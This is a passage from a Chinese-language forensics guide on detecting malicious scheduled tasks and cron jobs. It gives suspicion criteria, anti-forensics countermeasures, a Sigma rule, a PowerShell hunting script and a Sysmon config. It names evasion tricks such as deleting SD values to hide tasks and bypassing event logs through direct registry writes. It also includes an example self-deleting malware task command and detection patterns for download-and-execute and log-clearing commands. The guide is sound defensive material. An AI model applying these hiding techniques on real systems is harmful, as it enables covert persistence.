  • 任务以 SYSTEM 权限运行,但执行路径不在 C:\Windows\System32\
  • 任务的 XML 文件中包含明确的恶意命令行
  • cron 任务中包含 curl/wget | sh 模式

2. 高度可疑(High Suspicion Level)

以下条件满足任意一项应当视为高度可疑,需要进一步调查:

  • 任务名称模仿 Microsoft 组件,但执行命令与名称不匹配
  • 使用 LOLBin(rundll32mshtacertutilbitsadmin)执行非标准操作
  • 重复间隔小于 10 分钟
  • 任务创建时间与已知入侵时间窗口吻合
  • 任务的 Image Date 晚于操作系统安装日期
  • cron 任务位于服务账户(www-data、nobody)的 crontab 中
  • 任务的 SD 注册表值缺失或被修改

3. 需要关注(Attention Level)

以下条件需要关注,但不足以单独判定恶意:

  • 任务执行已签名的合法系统工具(如 cmd.exe),但命令行参数需要进一步分析
  • 任务的创建者不是已知的管理员账户
  • 任务在非常规时间创建(如凌晨 3 点)
  • cron 任务的时间表达式与业务需求不匹配

0x10 计划任务取证的反取证技术与对抗

1. 任务名称伪装

攻击者将恶意任务命名为合法的 Windows 组件名称。检测方法:

  • 将任务名称与 Microsoft 官方文档中的合法任务列表进行比对
  • 检查任务的执行命令是否与名称描述的功能一致
  • 检查任务的 Author 字段是否为 Microsoft(合法任务的 Author 通常是 Microsoft Corporation

2. 日志清理

攻击者在创建计划任务后清除 TaskScheduler/Operational 日志和 Security 日志。对抗方法:

  • 检查日志中是否存在时间间隙(gap analysis)
  • 检查 wevtutil clClear-EventLog 的执行记录
  • 依赖集中式日志收集(SIEM)——即使本地日志被清除,远程日志仍然存在
  • 检查 Event ID 1102(日志清除事件)

3. 任务自删除

攻击者使用 /Z 参数创建计划任务,使任务在最后一次执行后自动删除:

schtasks /create /tn "OneShot" /tr "malware.exe" /sc once /st 03:00 /Z

对抗方法:

  • 检查 Event ID 106(任务创建)和 Event ID 141(任务删除)的时间关系
  • 如果任务创建后很快就被删除,说明可能是攻击者的一次性执行
  • 检查任务执行期间的进程创建事件(Event ID 4688)

4. SD 值删除(隐藏任务)

如前文所述,删除 SD 注册表值使任务从标准工具中隐藏。对抗方法:

  • 直接检查 C:\Windows\System32\Tasks\ 目录下的 XML 文件
  • 直接检查 TaskCache\Tasks\{GUID} 注册表键
  • 使用内存取证工具提取运行时任务信息
  • 部署 Sysmon 监控 SD 值的删除操作

5. 直接注册表创建(绕过事件日志)

Binary Defense ARC Labs 发现,直接创建注册表键而不通过 Task Scheduler API,可以绕过 Event ID 106 的记录。在 Windows 10 上,直接写入注册表创建的任务会立即生效,但不会产生任何事件日志。

对抗方法:

  • 使用 Sysmon 监控 TaskCache 注册表路径的写入操作
  • 定期比对 TaskCache\Tasks 中的 GUID 列表与 schtasks /query 的输出
  • 部署注册表审计策略监控 TaskCache 路径

0x11 检测规则与狩猎查询

1. Sigma 规则:SD 值删除检测

title: Removal Of SD Value to Hide Schedule Task - Registry
id: acd74772-5f88-45c7-956b-6a7b36c294d2
status: test
description: Remove SD (Security Descriptor) value in Schedule\TaskCache\Tree registry hive to hide schedule task
references:
    - https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/
date: 2022-04-15
modified: 2023-02-08
tags:
    - attack.defense-evasion
    - attack.t1562
logsource:
    product: windows
    category: registry_delete
detection:
    selection:
        EventType: DeleteKey
        TargetObject|contains|all:
            - '\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\'
            - 'SD'
    condition: selection
falsepositives:
    - Unknown
level: medium

2. PowerShell 狩猎脚本:检测隐藏任务

# 检测隐藏计划任务的完整脚本
Write-Host "=== Hidden Scheduled Task Detection ===" -ForegroundColor Cyan

# 方法1: 检查缺少 SD 值的任务
Write-Host "`n[1] Checking for tasks without SD value..." -ForegroundColor Yellow
$treePath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree"
Get-ChildItem $treePath -Recurse -ErrorAction SilentlyContinue | ForEach-Object {
    $sd = (Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue).SD
    $name = $_.PSPath -replace ".*\\Tree\\", ""
    if (-not $sd -and $name) {
        Write-Host "[ALERT] Task without SD: $name" -ForegroundColor Red
    }
}

# 方法2: 比对 TaskCache\Tasks 与 schtasks 输出
Write-Host "`n[2] Comparing TaskCache\Tasks with schtasks output..." -ForegroundColor Yellow
$regTasks = Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks" -ErrorAction SilentlyContinue
$regURIs = @()
foreach ($t in $regTasks) {
    $uri = (Get-ItemProperty $t.PSPath -ErrorAction SilentlyContinue).URI
    if ($uri) { $regURIs += $uri }
}

$schtasksOutput = schtasks /query /fo CSV /v 2>$null | ConvertFrom-Csv
$schtasksNames = $schtasksOutput | ForEach-Object { $_.TaskName }

foreach ($uri in $regURIs) {
    $found = $false
    foreach ($name in $schtasksNames) {
        if ($name -eq $uri) { $found = $true; break }
    }
    if (-not $found) {
        Write-Host "[ALERT] Hidden task found: $uri" -ForegroundColor Red
    }
}

# 方法3: 检查 XML 文件
Write-Host "`n[3] Checking XML files in System32\Tasks..." -ForegroundColor Yellow
Get-ChildItem "C:\Windows\System32\Tasks" -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
    $content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue
    if ($content -match "powershell.*-enc|downloadstring|Invoke-WebRequest|wget.*\|.*sh|cmd\.exe.*/c.*Temp") {
        Write-Host "[ALERT] Suspicious XML: $($_.FullName)" -ForegroundColor Red
    }
}

Write-Host "`n=== Detection Complete ===" -ForegroundColor Cyan

3. Sysmon 配置:计划任务监控

<Sysmon schemaversion="4.90">
  <EventFiltering>
    <!-- 监控 schtasks.exe 的创建操作 -->
    <ProcessCreate onmatch="include">
      <Image condition="ends with">schtasks.exe</Image>
    </ProcessCreate>

    <!-- 监控 TaskCache 注册表路径的写入 -->
    <RegistryEvent onmatch="include">
      <TargetObject condition="contains">Schedule\TaskCache</TargetObject>
    </RegistryEvent>

    <!-- 监控 TaskCache SD 值的删除 -->
    <RegistryEvent onmatch="include">
      <EventType>DeleteValue</EventType>
      <TargetObject condition="contains">Schedule\TaskCache\Tree</TargetObject>
    </RegistryEvent>

    <!-- 监控计划任务 XML 文件的创建 -->
    <FileCreate onmatch="include">
      <TargetFilename condition="contains">C:\Windows\System32\Tasks\</TargetFilename>
    </FileCreate>
  </EventFiltering>
</Sysmon>

0x12 参考资料